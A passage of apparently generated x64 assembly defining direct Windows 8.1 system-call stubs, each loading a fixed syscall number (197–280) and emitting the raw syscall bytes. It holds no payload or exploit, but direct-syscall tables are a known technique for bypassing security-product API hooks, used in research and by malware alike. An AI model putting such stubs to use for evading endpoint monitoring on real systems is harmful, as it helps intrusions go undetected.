; ULONG64 __stdcall NtDeleteValueKey( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtDeleteValueKey PROC STDCALL
mov r10 , rcx
mov eax , 197
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteValueKey ENDP
; ULONG64 __stdcall NtDeleteWnfStateData( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtDeleteWnfStateData PROC STDCALL
mov r10 , rcx
mov eax , 198
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteWnfStateData ENDP
; ULONG64 __stdcall NtDeleteWnfStateName( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDeleteWnfStateName PROC STDCALL
mov r10 , rcx
mov eax , 199
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteWnfStateName ENDP
; ULONG64 __stdcall NtDisableLastKnownGood( );
_6_3_9600_sp0_windows_8_1_NtDisableLastKnownGood PROC STDCALL
mov r10 , rcx
mov eax , 200
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDisableLastKnownGood ENDP
; ULONG64 __stdcall NtDisplayString( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDisplayString PROC STDCALL
mov r10 , rcx
mov eax , 201
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDisplayString ENDP
; ULONG64 __stdcall NtDrawText( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDrawText PROC STDCALL
mov r10 , rcx
mov eax , 202
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDrawText ENDP
; ULONG64 __stdcall NtEnableLastKnownGood( );
_6_3_9600_sp0_windows_8_1_NtEnableLastKnownGood PROC STDCALL
mov r10 , rcx
mov eax , 203
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtEnableLastKnownGood ENDP
; ULONG64 __stdcall NtEnumerateBootEntries( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtEnumerateBootEntries PROC STDCALL
mov r10 , rcx
mov eax , 204
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtEnumerateBootEntries ENDP
; ULONG64 __stdcall NtEnumerateDriverEntries( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtEnumerateDriverEntries PROC STDCALL
mov r10 , rcx
mov eax , 205
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtEnumerateDriverEntries ENDP
; ULONG64 __stdcall NtEnumerateSystemEnvironmentValuesEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtEnumerateSystemEnvironmentValuesEx PROC STDCALL
mov r10 , rcx
mov eax , 206
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtEnumerateSystemEnvironmentValuesEx ENDP
; ULONG64 __stdcall NtEnumerateTransactionObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtEnumerateTransactionObject PROC STDCALL
mov r10 , rcx
mov eax , 207
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtEnumerateTransactionObject ENDP
; ULONG64 __stdcall NtExtendSection( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtExtendSection PROC STDCALL
mov r10 , rcx
mov eax , 208
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtExtendSection ENDP
; ULONG64 __stdcall NtFilterBootOption( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtFilterBootOption PROC STDCALL
mov r10 , rcx
mov eax , 209
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFilterBootOption ENDP
; ULONG64 __stdcall NtFilterToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtFilterToken PROC STDCALL
mov r10 , rcx
mov eax , 210
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFilterToken ENDP
; ULONG64 __stdcall NtFilterTokenEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 );
_6_3_9600_sp0_windows_8_1_NtFilterTokenEx PROC STDCALL
mov r10 , rcx
mov eax , 211
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFilterTokenEx ENDP
; ULONG64 __stdcall NtFlushBuffersFileEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtFlushBuffersFileEx PROC STDCALL
mov r10 , rcx
mov eax , 212
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushBuffersFileEx ENDP
; ULONG64 __stdcall NtFlushInstallUILanguage( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtFlushInstallUILanguage PROC STDCALL
mov r10 , rcx
mov eax , 213
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushInstallUILanguage ENDP
; ULONG64 __stdcall NtFlushInstructionCache( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtFlushInstructionCache PROC STDCALL
mov r10 , rcx
mov eax , 214
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushInstructionCache ENDP
; ULONG64 __stdcall NtFlushKey( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtFlushKey PROC STDCALL
mov r10 , rcx
mov eax , 215
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushKey ENDP
; ULONG64 __stdcall NtFlushProcessWriteBuffers( );
_6_3_9600_sp0_windows_8_1_NtFlushProcessWriteBuffers PROC STDCALL
mov r10 , rcx
mov eax , 216
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushProcessWriteBuffers ENDP
; ULONG64 __stdcall NtFlushVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtFlushVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 217
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushVirtualMemory ENDP
; ULONG64 __stdcall NtFlushWriteBuffer( );
_6_3_9600_sp0_windows_8_1_NtFlushWriteBuffer PROC STDCALL
mov r10 , rcx
mov eax , 218
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushWriteBuffer ENDP
; ULONG64 __stdcall NtFreeUserPhysicalPages( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtFreeUserPhysicalPages PROC STDCALL
mov r10 , rcx
mov eax , 219
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFreeUserPhysicalPages ENDP
; ULONG64 __stdcall NtFreezeRegistry( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtFreezeRegistry PROC STDCALL
mov r10 , rcx
mov eax , 220
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFreezeRegistry ENDP
; ULONG64 __stdcall NtFreezeTransactions( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtFreezeTransactions PROC STDCALL
mov r10 , rcx
mov eax , 221
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFreezeTransactions ENDP
; ULONG64 __stdcall NtGetCachedSigningLevel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtGetCachedSigningLevel PROC STDCALL
mov r10 , rcx
mov eax , 222
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetCachedSigningLevel ENDP
; ULONG64 __stdcall NtGetCompleteWnfStateSubscription( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtGetCompleteWnfStateSubscription PROC STDCALL
mov r10 , rcx
mov eax , 223
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetCompleteWnfStateSubscription ENDP
; ULONG64 __stdcall NtGetContextThread( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtGetContextThread PROC STDCALL
mov r10 , rcx
mov eax , 224
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetContextThread ENDP
; ULONG64 __stdcall NtGetCurrentProcessorNumber( );
_6_3_9600_sp0_windows_8_1_NtGetCurrentProcessorNumber PROC STDCALL
mov r10 , rcx
mov eax , 225
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetCurrentProcessorNumber ENDP
; ULONG64 __stdcall NtGetDevicePowerState( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtGetDevicePowerState PROC STDCALL
mov r10 , rcx
mov eax , 226
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetDevicePowerState ENDP
; ULONG64 __stdcall NtGetMUIRegistryInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtGetMUIRegistryInfo PROC STDCALL
mov r10 , rcx
mov eax , 227
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetMUIRegistryInfo ENDP
; ULONG64 __stdcall NtGetNextProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtGetNextProcess PROC STDCALL
mov r10 , rcx
mov eax , 228
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetNextProcess ENDP
; ULONG64 __stdcall NtGetNextThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtGetNextThread PROC STDCALL
mov r10 , rcx
mov eax , 229
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetNextThread ENDP
; ULONG64 __stdcall NtGetNlsSectionPtr( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtGetNlsSectionPtr PROC STDCALL
mov r10 , rcx
mov eax , 230
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetNlsSectionPtr ENDP
; ULONG64 __stdcall NtGetNotificationResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtGetNotificationResourceManager PROC STDCALL
mov r10 , rcx
mov eax , 231
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetNotificationResourceManager ENDP
; ULONG64 __stdcall NtGetWriteWatch( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtGetWriteWatch PROC STDCALL
mov r10 , rcx
mov eax , 232
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetWriteWatch ENDP
; ULONG64 __stdcall NtImpersonateAnonymousToken( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtImpersonateAnonymousToken PROC STDCALL
mov r10 , rcx
mov eax , 233
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtImpersonateAnonymousToken ENDP
; ULONG64 __stdcall NtImpersonateThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtImpersonateThread PROC STDCALL
mov r10 , rcx
mov eax , 234
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtImpersonateThread ENDP
; ULONG64 __stdcall NtInitializeNlsFiles( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtInitializeNlsFiles PROC STDCALL
mov r10 , rcx
mov eax , 235
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtInitializeNlsFiles ENDP
; ULONG64 __stdcall NtInitializeRegistry( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtInitializeRegistry PROC STDCALL
mov r10 , rcx
mov eax , 236
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtInitializeRegistry ENDP
; ULONG64 __stdcall NtInitiatePowerAction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtInitiatePowerAction PROC STDCALL
mov r10 , rcx
mov eax , 237
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtInitiatePowerAction ENDP
; ULONG64 __stdcall NtIsSystemResumeAutomatic( );
_6_3_9600_sp0_windows_8_1_NtIsSystemResumeAutomatic PROC STDCALL
mov r10 , rcx
mov eax , 238
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtIsSystemResumeAutomatic ENDP
; ULONG64 __stdcall NtIsUILanguageComitted( );
_6_3_9600_sp0_windows_8_1_NtIsUILanguageComitted PROC STDCALL
mov r10 , rcx
mov eax , 239
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtIsUILanguageComitted ENDP
; ULONG64 __stdcall NtListenPort( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtListenPort PROC STDCALL
mov r10 , rcx
mov eax , 240
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtListenPort ENDP
; ULONG64 __stdcall NtLoadDriver( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtLoadDriver PROC STDCALL
mov r10 , rcx
mov eax , 241
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLoadDriver ENDP
; ULONG64 __stdcall NtLoadKey( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtLoadKey PROC STDCALL
mov r10 , rcx
mov eax , 242
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLoadKey ENDP
; ULONG64 __stdcall NtLoadKey2( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtLoadKey2 PROC STDCALL
mov r10 , rcx
mov eax , 243
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLoadKey2 ENDP
; ULONG64 __stdcall NtLoadKeyEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtLoadKeyEx PROC STDCALL
mov r10 , rcx
mov eax , 244
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLoadKeyEx ENDP
; ULONG64 __stdcall NtLockFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtLockFile PROC STDCALL
mov r10 , rcx
mov eax , 245
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLockFile ENDP
; ULONG64 __stdcall NtLockProductActivationKeys( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtLockProductActivationKeys PROC STDCALL
mov r10 , rcx
mov eax , 246
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLockProductActivationKeys ENDP
; ULONG64 __stdcall NtLockRegistryKey( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtLockRegistryKey PROC STDCALL
mov r10 , rcx
mov eax , 247
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLockRegistryKey ENDP
; ULONG64 __stdcall NtLockVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtLockVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 248
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtLockVirtualMemory ENDP
; ULONG64 __stdcall NtMakePermanentObject( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtMakePermanentObject PROC STDCALL
mov r10 , rcx
mov eax , 249
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtMakePermanentObject ENDP
; ULONG64 __stdcall NtMakeTemporaryObject( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtMakeTemporaryObject PROC STDCALL
mov r10 , rcx
mov eax , 250
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtMakeTemporaryObject ENDP
; ULONG64 __stdcall NtMapCMFModule( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtMapCMFModule PROC STDCALL
mov r10 , rcx
mov eax , 251
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtMapCMFModule ENDP
; ULONG64 __stdcall NtMapUserPhysicalPages( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtMapUserPhysicalPages PROC STDCALL
mov r10 , rcx
mov eax , 252
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtMapUserPhysicalPages ENDP
; ULONG64 __stdcall NtModifyBootEntry( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtModifyBootEntry PROC STDCALL
mov r10 , rcx
mov eax , 253
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtModifyBootEntry ENDP
; ULONG64 __stdcall NtModifyDriverEntry( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtModifyDriverEntry PROC STDCALL
mov r10 , rcx
mov eax , 254
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtModifyDriverEntry ENDP
; ULONG64 __stdcall NtNotifyChangeDirectoryFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtNotifyChangeDirectoryFile PROC STDCALL
mov r10 , rcx
mov eax , 255
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtNotifyChangeDirectoryFile ENDP
; ULONG64 __stdcall NtNotifyChangeKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtNotifyChangeKey PROC STDCALL
mov r10 , rcx
mov eax , 256
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtNotifyChangeKey ENDP
; ULONG64 __stdcall NtNotifyChangeMultipleKeys( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 );
_6_3_9600_sp0_windows_8_1_NtNotifyChangeMultipleKeys PROC STDCALL
mov r10 , rcx
mov eax , 257
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtNotifyChangeMultipleKeys ENDP
; ULONG64 __stdcall NtNotifyChangeSession( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtNotifyChangeSession PROC STDCALL
mov r10 , rcx
mov eax , 258
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtNotifyChangeSession ENDP
; ULONG64 __stdcall NtOpenEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtOpenEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 259
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenEnlistment ENDP
; ULONG64 __stdcall NtOpenEventPair( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenEventPair PROC STDCALL
mov r10 , rcx
mov eax , 260
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenEventPair ENDP
; ULONG64 __stdcall NtOpenIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenIoCompletion PROC STDCALL
mov r10 , rcx
mov eax , 261
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenIoCompletion ENDP
; ULONG64 __stdcall NtOpenJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenJobObject PROC STDCALL
mov r10 , rcx
mov eax , 262
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenJobObject ENDP
; ULONG64 __stdcall NtOpenKeyEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtOpenKeyEx PROC STDCALL
mov r10 , rcx
mov eax , 263
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenKeyEx ENDP
; ULONG64 __stdcall NtOpenKeyTransacted( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtOpenKeyTransacted PROC STDCALL
mov r10 , rcx
mov eax , 264
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenKeyTransacted ENDP
; ULONG64 __stdcall NtOpenKeyTransactedEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtOpenKeyTransactedEx PROC STDCALL
mov r10 , rcx
mov eax , 265
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenKeyTransactedEx ENDP
; ULONG64 __stdcall NtOpenKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenKeyedEvent PROC STDCALL
mov r10 , rcx
mov eax , 266
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenKeyedEvent ENDP
; ULONG64 __stdcall NtOpenMutant( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenMutant PROC STDCALL
mov r10 , rcx
mov eax , 267
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenMutant ENDP
; ULONG64 __stdcall NtOpenObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 );
_6_3_9600_sp0_windows_8_1_NtOpenObjectAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 268
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenObjectAuditAlarm ENDP
; ULONG64 __stdcall NtOpenPrivateNamespace( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtOpenPrivateNamespace PROC STDCALL
mov r10 , rcx
mov eax , 269
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenPrivateNamespace ENDP
; ULONG64 __stdcall NtOpenProcessToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenProcessToken PROC STDCALL
mov r10 , rcx
mov eax , 270
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenProcessToken ENDP
; ULONG64 __stdcall NtOpenResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtOpenResourceManager PROC STDCALL
mov r10 , rcx
mov eax , 271
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenResourceManager ENDP
; ULONG64 __stdcall NtOpenSemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenSemaphore PROC STDCALL
mov r10 , rcx
mov eax , 272
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenSemaphore ENDP
; ULONG64 __stdcall NtOpenSession( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenSession PROC STDCALL
mov r10 , rcx
mov eax , 273
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenSession ENDP
; ULONG64 __stdcall NtOpenSymbolicLinkObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenSymbolicLinkObject PROC STDCALL
mov r10 , rcx
mov eax , 274
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenSymbolicLinkObject ENDP
; ULONG64 __stdcall NtOpenThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtOpenThread PROC STDCALL
mov r10 , rcx
mov eax , 275
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenThread ENDP
; ULONG64 __stdcall NtOpenTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenTimer PROC STDCALL
mov r10 , rcx
mov eax , 276
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenTimer ENDP
; ULONG64 __stdcall NtOpenTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtOpenTransaction PROC STDCALL
mov r10 , rcx
mov eax , 277
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenTransaction ENDP
; ULONG64 __stdcall NtOpenTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtOpenTransactionManager PROC STDCALL
mov r10 , rcx
mov eax , 278
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenTransactionManager ENDP
; ULONG64 __stdcall NtPlugPlayControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtPlugPlayControl PROC STDCALL
mov r10 , rcx
mov eax , 279
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPlugPlayControl ENDP
; ULONG64 __stdcall NtPrePrepareComplete( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtPrePrepareComplete PROC STDCALL
mov r10 , rcx
mov eax , 280
